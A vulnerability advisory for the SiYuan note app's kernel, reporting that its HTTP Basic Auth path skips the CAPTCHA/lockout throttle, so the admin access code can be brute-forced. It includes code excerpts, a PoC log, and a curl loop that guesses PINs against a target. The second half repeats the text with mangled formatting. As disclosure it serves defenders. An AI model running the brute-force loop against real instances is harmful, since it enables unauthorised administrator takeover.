Summary
SiYuan protects network-exposed kernel instances with a workspace "lock screen"
access code (Conf.AccessAuthCode). This same secret can be submitted through
two independent code paths, but only one of them is protected by the
application's CAPTCHA/lockout mechanism. The HTTP Basic Authentication branch
inside the CheckAuth() middleware which guards nearly the entire /api/*
surface never consults the CAPTCHA gate and never increments the failure
counter, so it can be brute-forced with unlimited automated requests to obtain
full RoleAdministrator access. This is CWE-307 (Improper Restriction of
Excessive Authentication Attempts), with a secondary CWE-208 (Observable
Timing Discrepancy) contributing factor from the non-constant-time secret
comparison.
Details
kernel/util/session.go defines the intended throttle:
func NeedCaptcha() bool {
return 3 < WrongAuthCount
}
kernel/model/session.go's LoginAuth() (the cookie/session login endpoint)
correctly uses it:
if util.NeedCaptcha() {
... // require & validate captcha before checking authCode
}
authCode := arg["authCode"].(string)
...
if Conf.AccessAuthCode != authCode {
...
util.WrongAuthCount++
...
}
However, CheckAuth() — the middleware applied to essentially every API route
in kernel/api/router.go (400+ routes) — also independently accepts the same
secret via HTTP Basic Auth, with no connection to WrongAuthCount or
NeedCaptcha() at all:
// 通过 BasicAuth (header: Authorization)
if username, password, ok := c.Request.BasicAuth(); ok {
// 使用锁屏密码作为密码
if util.WorkspaceName == username && Conf.AccessAuthCode == password {
c.Set(RoleContextKey, RoleAdministrator)
c.Next()
return
}
}
No rate limiter, delay, or lockout exists anywhere else in the middleware
chain either (verified by tracing every middleware registered in
kernel/server/serve.go's Serve(): ControlConcurrency is a request
serializer unrelated to authentication, Timing/Recover/Activity/
corsMiddleware/jwtMiddleware/gzip carry no throttling logic).
Additionally, Conf.AccessAuthCode == password is a plain Go string ==
comparison (byte-wise, early-exit), not a constant-time comparison
(crypto/subtle.ConstantTimeCompare), which in principle allows a timing
side-channel to accelerate a guess. setAccessAuthCode
(kernel/api/system.go) also enforces no minimum length/complexity on the
code, so short/weak codes are permitted.
Affected code:
kernel/model/session.go, CheckAuth(), Basic Auth branch (~line 332)
kernel/model/session.go, LoginAuth() (~lines 67–140) — for comparison,
shows the throttle that IS applied on the other path
kernel/util/session.go, NeedCaptcha() / WrongAuthCount (~lines 30–32)
PoC
Full kernel build requires Go ≥1.26 and access to proxy.golang.org, which
was unavailable in the review sandbox, so the control-flow logic was
extracted verbatim (unmodified conditionals/thresholds, only I/O
plumbing swapped from gin to net/http) into a minimal harness and
live-tested with real HTTP traffic:
=== Baseline ===
$ curl -s -u "testworkspace:wrongpass" http://127.0.0.1:18080/api/system/getConf
{"code":-1,"msg":"Auth failed [BasicAuth]","needCaptcha":false,"wrongAuthCount":0}
=== 4 wrong LoginAuth (cookie-path) attempts ===
attempt 1: {"code":0,"msg":"invalid auth code"}
attempt 2: {"code":0,"msg":"invalid auth code"}
attempt 3: {"code":0,"msg":"invalid auth code"}
attempt 4: {"code":1,"msg":"invalid auth code"} <- captcha now required, as designed
=== 5th LoginAuth attempt ===
{"code":1,"msg":"captcha required"} <- correctly throttled
=== 500 wrong Basic Auth guesses in a tight loop ===
Guesses sent: 500, false positives: 0
=== State after 500 failed Basic Auth attempts ===
{"code":-1,"msg":"Auth failed [BasicAuth]","needCaptcha":false,"wrongAuthCount":0} <- UNCHANGED
=== Attempt #501: correct password ===
{"code":0,"msg":"admin access granted","needCaptcha":false,"wrongAuthCount":0} <- instant, zero friction
To reproduce directly against a real kernel build (Go ≥1.26):
# Target: SiYuan with network serve enabled and a short AccessAuthCode set
for pin in 000000 000001 000002 000003 ...; do
curl -s -u "<workspaceName>:$pin" http://<target>:6806/api/system/getConf \
-o /dev/null -w "%{http_code} $pin\n"
done
# Expected if vulnerable: unlimited 401s with no captcha challenge/lockout,
# then 200 on the correct code — at any point, regardless of prior failures.
Impact
Any SiYuan kernel reachable over the network (the documented/supported
"self-hosted server" deployment: WebDAV/CalDAV/CardDAV sync, mobile client
sync, LAN/VPS hosting) that relies on AccessAuthCode as its access control
is exposed to fully automated, unthrottled remote brute-force of the
administrator credential. A successful guess grants complete
RoleAdministrator privileges: arbitrary file read/write
(/api/file/getFile, /api/file/putFile), SQL query execution
(/api/query/sql), full workspace export, plugin RPC, and process control.
Impacted parties are all self-hosted/network-exposed SiYuan operators who set
a short-to-medium-strength access code, which the UI does nothing to
discourage since no minimum length/complexity is enforced server-side.
## Affected products
| Field | Value |
|---|---|
| Ecosystem | **Go** |
| Package name | `github.com/siyuan-note/siyuan/kernel` |
| Affected versions | `<= 3.7.3` (confirmed present in 3.7.3; likely present in all prior versions — mechanism is architectural, not a recent regression; maintainers should confirm lower bound) |
| Patched versions | *(none yet — leave blank until a fix is released)* |
## Severity
| Field | Value |
|---|---|
| Vector string | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| Score | **9.8 (Critical)** for network-exposed instances with a weak/short access code — note in the advisory that real-world severity scales with deployment exposure and code strength, since the impact assumes a network-reachable kernel with `AccessAuthCode` set (i.e., the exact "secured server" configuration the code defends). |
## Weaknesses (CWE)
- **CWE-307** — Improper Restriction of Excessive Authentication Attempts (primary)
- **CWE-208** — Observable Timing Discrepancy (secondary/contributing)
-
Summary
SiYuan protects network-exposed kernel instances with a workspace "lock screen"
access code (
Conf.AccessAuthCode). This same secret can be submitted throughtwo independent code paths, but only one of them is protected by the
application's CAPTCHA/lockout mechanism. The HTTP Basic Authentication branch
inside the
CheckAuth()middleware which guards nearly the entire/api/*surface never consults the CAPTCHA gate and never increments the failure
counter, so it can be brute-forced with unlimited automated requests to obtain
full
RoleAdministratoraccess. This is CWE-307 (Improper Restriction ofExcessive Authentication Attempts), with a secondary CWE-208 (Observable
Timing Discrepancy) contributing factor from the non-constant-time secret
comparison.
Details
kernel/util/session.godefines the intended throttle:kernel/model/session.go'sLoginAuth()(the cookie/session login endpoint)correctly uses it:
However,
CheckAuth()— the middleware applied to essentially every API routein
kernel/api/router.go(400+ routes) — also independently accepts the samesecret via HTTP Basic Auth, with no connection to
WrongAuthCountorNeedCaptcha()at all:No rate limiter, delay, or lockout exists anywhere else in the middleware
chain either (verified by tracing every middleware registered in
kernel/server/serve.go'sServe():ControlConcurrencyis a requestserializer unrelated to authentication,
Timing/Recover/Activity/corsMiddleware/jwtMiddleware/gzip carry no throttling logic).Additionally,
Conf.AccessAuthCode == passwordis a plain Go string==comparison (byte-wise, early-exit), not a constant-time comparison
(
crypto/subtle.ConstantTimeCompare), which in principle allows a timingside-channel to accelerate a guess.
setAccessAuthCode(
kernel/api/system.go) also enforces no minimum length/complexity on thecode, so short/weak codes are permitted.
Affected code:
kernel/model/session.go,CheckAuth(), Basic Auth branch (~line 332)kernel/model/session.go,LoginAuth()(~lines 67–140) — for comparison,shows the throttle that IS applied on the other path
kernel/util/session.go,NeedCaptcha()/WrongAuthCount(~lines 30–32)PoC
Full kernel build requires Go ≥1.26 and access to
proxy.golang.org, whichwas unavailable in the review sandbox, so the control-flow logic was
extracted verbatim (unmodified conditionals/thresholds, only I/O
plumbing swapped from gin to
net/http) into a minimal harness andlive-tested with real HTTP traffic:
To reproduce directly against a real kernel build (Go ≥1.26):
Impact
Any SiYuan kernel reachable over the network (the documented/supported
"self-hosted server" deployment: WebDAV/CalDAV/CardDAV sync, mobile client
sync, LAN/VPS hosting) that relies on
AccessAuthCodeas its access controlis exposed to fully automated, unthrottled remote brute-force of the
administrator credential. A successful guess grants complete
RoleAdministratorprivileges: arbitrary file read/write(
/api/file/getFile,/api/file/putFile), SQL query execution(
/api/query/sql), full workspace export, plugin RPC, and process control.Impacted parties are all self-hosted/network-exposed SiYuan operators who set
a short-to-medium-strength access code, which the UI does nothing to
discourage since no minimum length/complexity is enforced server-side.